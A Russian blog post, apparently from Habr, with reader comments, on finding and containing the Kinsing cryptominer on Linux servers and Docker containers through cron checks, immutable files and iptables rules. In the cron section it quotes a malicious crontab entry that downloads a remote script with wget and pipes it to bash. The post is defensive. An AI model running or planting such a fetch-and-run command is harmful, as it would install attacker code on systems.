Kinsing — вредоносное ПО на основе Golang, работает как агент. Основная цель данной малвари это добыча криптовалюты на взломанном сервере. Оно распространяется путем использования уязвимости в ошибке конфигурации сервисов, которые доступны извне.
Малварь может добавлять задания в запланировщик задач cron, чтобы иметь возможность переподключиться, например после перезагрузки сервера.
Как определить, что ваш сервер используется для майнинга малварью Kinsing?
Определите процессы, которые используют ресурсы процессора с помощью диспечера задач top или htop. В результате вы увидете, например, такие процессы: kdevtmpfsi, kinsing или dbused, которые максимально используют все ресурсы процессора.
Убить процессы отправкой сигнала KILL вы не сможете, так как со временем они запустятся снова.
Можно попытаться найти задания в запланировщике задач пользователей:
ls /var/spool/cron/Например, у пользователя confluence обнаружена задача, позволяющая скачивать скрипт с удаленного узла с помощью wget:
* * * * * wget -q -O - http://1.2.3.4/cf.sh | bash > /dev/null 2>&1Чтобы запретить пользователю использовать запланировщик, мы можем отключить службу crond или добавить атрибут immutable для файла. (immutable указывает, что файл защищен от изменений: не может быть удален или переименован, никакая ссылка (жесткая) не может быть создана на этот файл, никакие данные не могут быть записаны в файл.)
echo > /var/spool/cron/confluence && chattr +i /var/spool/cron/confluenceТакже стоит проверить файлы с переменными пользователя на наличие лишних скриптов и по возможности удалить их и добавить атрибут immutable:
cat /home/confluence/.bash_profile
chattr +i /home/confluence/.bash_profileЕщё одно решение это заблокировать исходящий трафик, например, если малварь использует контейнеры Docker.
В контейнерах сложнее найти процесс малвари, но мы можем определить куда обращается контейнер с помощью утилиты iptstate на хосте Docker'a.
Для установки iptstate в RHEL, введите команду:
yum install iptstate -yПоиск ID контейнера:
docker psПоиск IP контейнера:
docker inspect CONTAINER_ID | grep -i ipСмотрим соединения с IP-адреса контейнера:
iptstate -s CONTAINER_IPБлокируем обращения контейнера по протоколу HTTP:
iptables -A DOCKER-USER -s 172.18.0.7/32 -p tcp -m tcp --dport 80 -j DROPВсе вышеперечисленное это временное решение, чтобы ограничить работу майнера. Своевременно обновляйте ПО и уделяйте время вопросам информационной безопасности.
Комментарии (11)
XakRU
12.10.2021 02:17+1В статье нет расследования как малварь проникла на сервер. Что явилось причиной?
Нарочно или по незнанию автор упустил один важный пункт - свежую уязвимость в confluence, которую активно используют. Так что даже если малварь будет вычищена, а контейнер развернут заново с той же уязвимой версией confluence, малварь снова вернётся.
Запрет на cron файл пользователя вообще крайне поверхностное решение, ведь из первого что приходит в голову - всегда можно планировать задания в at, особенно учитывая то что в некоторых дистрибутивов (RHEL/CentOS) - atd запущен по умолчанию
isobby Автор
12.10.2021 05:31+1Причиной распространения малвари являются службы, которые доступные извне и конечно же уязвимости в ПО. Например, разработчик случайно пробросил порт в Docker с опцией -p 5432:5432 для контейнера postgre с кредами по умолчанию или последняя уязвимость в Confluence позволяющая злоумышленику удаленно выполнять произвольный код на сервере. Следует отметить, что малварь использует различные IP-адреса для подключения "агентов", а также различные порты в случае, если вы решите заблокировать обращения по адресу или порту. Например, в контейнере я заблокировал весь исходящий трафик на порты 80/tcp и 5555/tcp, чтобы остановить работу майнера. В случае с Confluence, достаточно аттрибута immutable для крона пользователя confluence это не даст процессу малвари запуститься снова и можно будет спокойно накатить хотфикс: https://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md
Как работает малварь Kinsing? Я думаю этот вопрос заслуживает отдельной статьи.
XakRU
13.10.2021 11:10Причиной распространения малвари являются службы, которые доступные извне
Тогда продолжая ваши рассуждения - причиной будет наличие подключения к интернету.
Для установки iptstate в RHEL, введите команду:
yum install iptstate -yДля просмотра исходящих соединений достаточно стандартных для RHEL netstat, ss.
Поиск ID контейнера:
docker psЗачем? Если нет расследования, почему бы не выключить скомпрометированный контейнер ?
Тэг "Информационная безопасность" тут кажется лишним.
isobby Автор
13.10.2021 12:08Для просмотра исходящих соединений достаточно стандартных для RHEL netstat, ss.
На хосте докера вы не сможете увидеть соединения контейнеров с netstat или ss, так как соединения проходят через цепочку FORWARD в виртуальную сеть докера, а не на сам узел (цепочки INPUT и OUTPUT). А устанавливать на каждый контейнер пакет с net-tools или собирать кастомный образ не особо хочеться.
Зачем? Если нет расследования, почему бы не выключить скомпрометированный контейнер ?
И остановить работу бизнеса)
XakRU
13.10.2021 14:21+1И остановить работу бизнеса)
Если нет резервирования, то о какой бесперебойной работе может идти речь?
А действительно ли остановка confluence критична для бизнеса?
На какой промежуток времени остановка сервиса критична?
по итогу - необходимо не ограничиваться установкой флага immutable для файла cron пользователя, а делать следующее если для бизнеса это действительно сервис с критичными данными:
- останавливать/изолировать контейнер.
- уносить его для анализа.
- разворачивать и резервной копии.На хосте докера вы не сможете увидеть соединения контейнеров с netstat или ss, так как соединения проходят через цепочку FORWARD в виртуальную сеть докера, а не на сам узел (цепочки INPUT и OUTPUT). А устанавливать на каждый контейнер пакет с net-tools или собирать кастомный образ не особо хочеться.
имея доступ к хостовой системе на которой крутятся docker контейнеры есть куча возможностей:
nsenter -t $(docker inspect -f '{{.State.Pid}}' container_name_or_id) -n netstatip -all netns exec ss -p -utip -all netns exec netstat -ltup
Если вам удобно выполнять процедуру непосредственно в самом контейнере - ваше право. Но скомпрометированный контейнер уже никогда не вернёт доверия и спокойствия, если не будет отправлен на покой после анализа.
И снова не стоит забывать про резервное копирование.
Frankenstine
12.10.2021 07:34В статье нет расследования как малварь проникла на сервер. Что явилось причиной?
Кажется в прошлом году один сервак к которому у меня есть доступ её подцепил. Проникновение было через дырку в laravel Ignition при включенном дебаге.
sigma_shig
16.10.2021 21:48Да, вот это и есть проблема. Я подцепил непонятно где этот dbused. Вот только у меня на сервере (Ubuntu 20) никогда не было confluence. Этот майнер работал от имени www-data. Значит есть где-то дырка или в апаче или в каком-то сайте под ним. Сам майнер я прибил. Но причину так и не выявил. Также хочу упомянуть, что в куче с ним работает /tmp/bashirc и некий процесс linuxsys.
XakRU
Чтобы запретить использовать cron пользователю confluence - достаточно указать этого пользователя в файле /etc/cron.deny.
Убить процессы отправкой сигнала KILL вы не сможете, так как со временем они запустятся снова.
Сложности перевода похоже сказываются... Убить-то никто не помешает, малварь не под модулем ядра работает. А то что запустится снова - факт.
unsignedchar
Есть ненулевая вероятность, что товарищи воспользовались локальной privilege escalation и запустили что-то из под root. Возможно, даже модуль ядра.
XakRU
Ну вот да, согласен. А статья автора тему не раскрывает совсем.
Oxyd
Эээ... Я не вижу тут плашки «перевод»... Да и «запланировщик задач» меня порадовал. Сразу вспомнились «гуртовщики мыши».